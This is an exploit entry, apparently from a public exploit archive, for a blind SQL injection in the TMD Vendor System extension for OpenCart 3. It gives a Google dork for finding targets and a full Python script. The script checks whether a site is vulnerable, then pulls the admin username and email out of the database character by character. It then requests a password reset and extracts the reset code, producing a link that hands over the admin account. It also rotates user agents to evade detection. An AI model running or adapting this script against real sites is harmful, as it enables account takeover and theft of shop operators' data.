# Exploit Title: Opencart 3 Extension TMD Vendor System - Blind SQL Injection
# Author: Muhammad Zaki Sulistya (zaki.sulistya@gmail.com)
# Date: 03-11-2021
# Product: TMD Vendor System
# Vendor Homepage: https://www.opencartextensions.in/
# Software Link: https://www.opencartextensions.in/opencart-multi-vendor-multi-seller-marketplace
# Version: TMD Vendor System 3.x
# Tested on: MacOS
# Google Dork: inurl:index.php?route=vendor/allseller
# Info: Patched on the new version
#!/usr/bin/python
import requests
from bs4 import BeautifulSoup
from random import randint
import time
class TmdSqli:
def __init__(self, url):
self.char_list = ['.',':', '@', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
self.url = url
self.user_agents = []
self.set_user_agent()
self.is_vulnerable()
def set_user_agent(self):
if len(self.user_agents) == 0:
r = requests.get(
'https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txt').text
self.user_agents = r.split("\n")
def get_content(self, url):
try:
n = randint(0, 999)
headers = {}
headers['user-agent'] = self.user_agents[n]
req = requests.get(url, headers=headers)
soup = BeautifulSoup(req.content, 'html.parser')
return soup.find(id='content')
except requests.exceptions.ConnectionError as e:
print("CONNECTION ERROR:", e)
time.sleep(60)
self.get_content(url)
def is_vulnerable(self):
url_injection_true = self.url + "' AND 1=1--+-"
url_injection_false = self.url + "' AND 1=0--+-"
default_response = self.get_content(self.url)
injection_true = self.get_content(url_injection_true)
injection_false = self.get_content(url_injection_false)
if (default_response == injection_true) and (default_response != injection_false):
print("The target is vulnerable")
self.injection_true = injection_true
row_length = self.user_data_length()
self.dump_data(row_length)
else:
print("Not vulnerable")
def user_data_length(self):
n = 1
while True:
request_url = self.url + "' AND (SELECT LENGTH(CONCAT(username,0x3a,email)) FROM oc_user LIMIT 0,1)=" + str(n) + "--+-"
req = self.get_content(request_url)
if req != self.injection_true:
n += 1
else:
print("Row length : " + str(n))
return n
break
def reset_code_length(self):
n = 1
while True:
request_url = self.url + "' AND (SELECT LENGTH(CONCAT(code)) FROM oc_user WHERE username = '" + self.username + "')=" + str(
n) + "--+-"
req = self.get_content(request_url)
if req != self.injection_true:
n += 1
else:
print("Row length : " + str(n))
return n
break
def dump_data(self, length):
data = ""
for i in range(1, length + 1):
for j in self.char_list:
j = ord(j)
request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(username,0x3a,email), " + str(i) + ",1)) FROM oc_user LIMIT 0,1)=" + str(j) + "--+-"
req = self.get_content(request_url)
if req == self.injection_true:
data += chr(j)
print("Get : " + data)
user_data = data.split(":")
self.username = user_data[0]
self.email = user_data[1]
self.reset_password()
def dump_reset_code(self, length):
data = ""
for i in range(1, length + 1):
for j in self.char_list:
j = ord(j)
request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(code), " + str(
i) + ",1)) FROM oc_user WHERE username = '" + self.username + "')=" + str(j) + "--+-"
req = self.get_content(request_url)
if req == self.injection_true:
data += chr(j)
print("Get : " + data)
return data
def reset_password(self):
self.admin_page = input("Admin page URL : ")
request_url = self.admin_page + '/index.php?route=common/forgotten'
post_data = {'email':self.email}
req = requests.post(request_url, data=post_data)
if req.status_code == 200:
row_length = self.reset_code_length()
reset_code = self.dump_reset_code(row_length)
reset_password_url = self.admin_page + '/index.php?route=common/reset&code=' + reset_code
print("Gotcha!")
print("username : " + self.username)
print("You can reset the password : " + reset_password_url)
print("TARGET URL ex: https://[redacted]]/index.php?route=product/product&product_id=[product_id]")
target = input("Target URL : ")
TmdSqli(target)